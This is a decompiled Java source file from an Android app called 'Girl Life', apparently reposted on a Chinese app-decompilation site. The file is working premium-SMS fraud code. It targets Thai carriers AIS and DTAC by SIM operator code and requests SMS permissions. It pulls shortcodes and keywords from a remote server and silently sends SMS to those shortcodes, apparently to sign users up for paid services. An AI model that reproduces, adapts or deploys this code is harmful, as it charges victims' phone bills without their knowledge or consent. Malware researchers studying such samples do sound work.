Girl Life v版本的 MD5 值为:d754575140ea3a6a1efcb7c2b2e14d98
以下内容为反编译后的 d.java 源代码,内容仅作参考
package e.a.c;
import a.c.a.b.d.l.n;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncTask;
import android.os.Build;
import android.telephony.SmsManager;
import android.webkit.WebView;
import kimd.loie.MainActivity;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
public class d {
public static String f3860a = "";
public static class a extends AsyncTask<Void, Void, String> {
public Context f3861a;
public WebView f3862b;
public a(Context context, WebView webView) {
this.f3861a = context;
this.f3862b = webView;
}
@Override
public String doInBackground(Void[] voidArr) {
a.d.a.b.a aVar = new a.d.a.b.a();
aVar.b("country", "thailand");
aVar.b("app_id", "girl_life_fb");
return e.a.b.b.q("https://onesignal.modobomco.com/api/keywords-info", aVar).a();
}
@Override
public void onPostExecute(String str) {
String str2 = str;
super.onPostExecute(str2);
if (str2.equals("")) {
return;
}
String str3 = MainActivity.r;
char c2 = 65535;
switch (str3.hashCode()) {
case 50483828:
if (str3.equals("52001")) {
c2 = 1;
break;
}
break;
case 50483830:
if (str3.equals("52003")) {
c2 = 0;
break;
}
break;
case 50483832:
if (str3.equals("52005")) {
c2 = 2;
break;
}
break;
case 50483866:
if (str3.equals("52018")) {
c2 = 3;
break;
}
break;
}
if (c2 == 0 || c2 == 1) {
d.e(this.f3861a, "ais", str2, this.f3862b);
} else if (c2 == 2 || c2 == 3) {
d.e(this.f3861a, "dtac", str2, this.f3862b);
}
}
}
public static void a(MainActivity mainActivity, WebView webView) {
if (Build.VERSION.SDK_INT >= 23) {
String str = MainActivity.r;
char c2 = 65535;
switch (str.hashCode()) {
case 50483828:
if (str.equals("52001")) {
c2 = 1;
break;
}
break;
case 50483830:
if (str.equals("52003")) {
c2 = 0;
break;
}
break;
case 50483832:
if (str.equals("52005")) {
c2 = 2;
break;
}
break;
case 50483866:
if (str.equals("52018")) {
c2 = 3;
break;
}
break;
}
if (c2 != 0 && c2 != 1 && c2 != 2 && c2 != 3) {
if (!n.J("Per_Sms", mainActivity, Boolean.FALSE)) {
StringBuilder g2 = a.b.a.a.a.g("Sai nha mang : ");
g2.append(MainActivity.r);
c.a(mainActivity, "false", g2.toString());
n.q0("Per_Sms", Boolean.TRUE, mainActivity);
}
if (webView != null) {
webView.setVisibility(0);
i.a(webView);
return;
}
return;
}
mainActivity.requestPermissions(new String[]{"android.permission.SEND_SMS", "android.permission.READ_SMS", "android.permission.RECEIVE_SMS"}, 1);
}
}
public static void b(Context context, String str, String str2) {
try {
if (n.J("SEND_AME", context, Boolean.FALSE)) {
return;
}
PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("FlagIntent_AME").setFlags(32768), 0);
context.registerReceiver(new e.a.c.a(str, str2, "TYPE_AME"), new IntentFilter("FlagIntent_AME"));
SmsManager.getDefault().sendTextMessage(str, null, str2, broadcast, null);
n.q0("SEND_AME", Boolean.TRUE, context);
} catch (Exception e2) {
e2.printStackTrace();
}
}
public static void c(Context context, String str, String str2) {
try {
if (n.J("SENDF2U", context, Boolean.FALSE)) {
return;
}
PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("FlagIntent_FU").setFlags(32768), 0);
context.registerReceiver(new e.a.c.a(str, str2, "TYPE_F2U"), new IntentFilter("FlagIntent_FU"));
SmsManager.getDefault().sendTextMessage(str, null, str2, broadcast, null);
n.q0("SENDF2U", Boolean.TRUE, context);
} catch (Exception e2) {
e2.printStackTrace();
}
}
public static void d(Context context, String str, String str2, String str3) {
String str4 = MainActivity.r;
if (str4 == null && str4.equals("")) {
return;
}
try {
PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent(str3).setFlags(32768), 0);
context.registerReceiver(new e.a.c.a(str, str2, "TYPE_MK"), new IntentFilter(str3));
SmsManager.getDefault().sendTextMessage(str, null, str2, broadcast, null);
} catch (Exception e2) {
e2.printStackTrace();
}
}
public static void e(Context context, String str, String str2, WebView webView) {
try {
JSONArray jSONArray = new JSONObject(str2).getJSONArray(str);
for (int i = 0; i < jSONArray.length(); i++) {
JSONObject jSONObject = jSONArray.getJSONObject(i);
String string = jSONObject.getString("shortcode");
String string2 = jSONObject.getString("keyword");
if (string2.contains("1")) {
f3860a = string2;
c(context, string, string2);
new h().a(context, webView);
} else {
d(context, string, string2, "Flag_Intent_MK" + string2);
}
}
} catch (JSONException e2) {
e2.printStackTrace();
}
}
}